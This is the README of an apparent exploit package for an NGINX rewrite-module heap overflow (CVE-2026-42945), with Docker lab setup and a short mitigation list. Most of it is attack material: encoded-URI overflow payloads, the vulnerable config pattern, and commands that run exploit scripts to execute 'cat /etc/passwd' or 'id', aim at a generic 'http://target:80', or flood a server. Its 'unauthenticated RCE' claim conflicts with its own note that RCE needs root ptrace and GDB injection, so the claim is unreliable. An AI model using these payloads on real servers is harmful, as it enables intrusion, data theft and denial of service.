
CVE-2026-42945 개념 증명 익스플로잇으로, NGINX rewrite 모듈의 치명적인 힙 오버플로우를 통해 조작된 URI 인코딩을 이용한 인증되지 않은 원격 코드 실행을 가능하게 합니다. Docker 기반 테스트 환경, ASAN 검증, 여러 익스플로잇 스크립트를 포함합니다.
RCE 성공적으로 확인됨 — 힙 오버플로 + GDB 프로세스 주입을 통해, NGINX / OpenResty worker 프로세스에서 임의 명령 실행.
#一键构建 NGINX 镜像 + 执行 RCE 测试
./run.sh nginx
#一键构建 OpenResty 镜像 + 执行 RCE 测试
./run.sh openresty
#自定义命令
./run.sh nginx 'cat /etc/passwd'
./run.sh openresty 'whoami'
| 속성 | 값 |
|---|---|
| CVE 번호 | CVE-2026-42945 |
| 취약점 유형 | 힙 버퍼 오버플로 → 원격 코드 실행 (RCE) |
| 영향을 받는 구성 요소 | ngx_http_rewrite_module |
| 영향을 받는 버전 | NGINX 0.6.27 ~ 1.30.1, NGINX Plus R32 ~ R36 |
| 취약점 점수 | CVSS 9.4 (CRITICAL) |
| 악용 조건 | 인증 불필요; RCE는 ptrace 권한 필요 (root) |
ngx_http_script_complex_value_code()는 URI 디코딩 후 길이에 따라 버퍼를 할당하지만, ngx_http_script_copy_capture_code()는 ngx_escape_uri()를 호출하여 인코딩 후 길이에 따라 씁니다. URL 인코딩 문자가 3배로 팽창 → 힙 오버플로.
세 가지 조건이 동시에 충족되어야 함:
rewrite와 set 지시문이 동일한 location에 있음rewrite 대체 문자열에 ? 포함set이 rewrite의 캡처 변수 $1를 참조location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true; # 含 '?'
set $original_endpoint $1; # 引用 $1
}
#0 ngx_escape_uri src/core/ngx_string.c:1663
#1 ngx_http_script_copy_capture_code src/http/ngx_http_script.c:1399
#2 ngx_http_rewrite_handler src/http/modules/ngx_http_rewrite_module.c:180
.
├── run.sh # 一键构建 + 测试入口
├── README.md
│
├── scripts/ # 测试 & 利用脚本
│ ├── rce.sh # 纯 Shell RCE (curl + GDB, 无 Python)
│ ├── exploit_rce.py # Python RCE (兼容 2.7/3.x)
│ ├── exploit.py # PoC 主脚本 (check/exploit/rce/flood)
│ └── exploit_asan.py # ASAN 全面扫描
│
├── package/ # 部署 & 编排文件
│ ├── Dockerfile.rce # NGINX 源码编译 + RCE 环境
│ ├── Dockerfile.openresty.rce # OpenResty 源码编译 + RCE 环境
│ ├── Dockerfile # 基础镜像 (Alpine)
│ ├── Dockerfile.asan # ASAN 调试镜像
│ ├── docker-compose.yml # Docker 编排 (nginx-rce + openresty-rce)
│ ├── nginx.conf # NGINX 漏洞配置
│ ├── nginx-openresty.conf # OpenResty 漏洞配置
│ ├── start_rce.sh # NGINX RCE 容器启动脚本
│ └── start_openresty_rce.sh # OpenResty RCE 容器启动脚本
│
└── src/ # 源码 (编译用)
├── nginx-1.26.3/ # NGINX 1.26.3 源码
├── nginx-1.26.3.tar.gz
└── openresty-1.25.3.1.tar.gz # OpenResty 1.25.3.1 (内置 nginx/1.25.3)
# Shell 脚本 (无 Python 依赖)
docker exec nginx-rce bash /opt/rce.sh 'id'
docker exec nginx-rce bash /opt/rce.sh 'cat /etc/passwd'
# Python 脚本 (兼容 2.7/3.x)
docker exec nginx-rce python3 /opt/exploit_rce.py -t http://127.0.0.1:80 -c 'whoami'
# OpenResty 同理
docker exec openresty-rce bash /opt/rce.sh 'id'
docker exec -it nginx-rce bash
# 容器内:
bash /opt/rce.sh 'id'
python3 /opt/exploit_rce.py -t http://127.0.0.1:80 -c 'uname -a'
# 需要 root + ptrace 权限
sudo python3 scripts/exploit_rce.py -t http://target:80 -c 'id'
python3 scripts/exploit.py --target http://localhost:8775 --mode check # 检测漏洞
python3 scripts/exploit.py --target http://localhost:8775 --mode exploit # ASAN 堆溢出验证
python3 scripts/exploit.py --target http://localhost:8775 --mode rce # RCE 风险评估
python3 scripts/exploit.py --target http://localhost:8775 --mode flood # DoS 压力测试
rewrite (? 포함) + set ($1 참조) 조합 피하기%25/%3f/%23/%26 인코딩 요청 차단echo 1 > /proc/sys/kernel/yama/ptrace_scope| Payload | 설명 | 결과 |
|---|
/api/%25 × N | 인코딩된 % | ✅ 힙 오버플로 |
/api/%3f × N | 인코딩된 ? | ✅ 힙 오버플로 |
/api/%23 × N | 인코딩된 # | ✅ 힙 오버플로 |
/api/%26 × N | 인코딩된 & | ✅ 힙 오버플로 |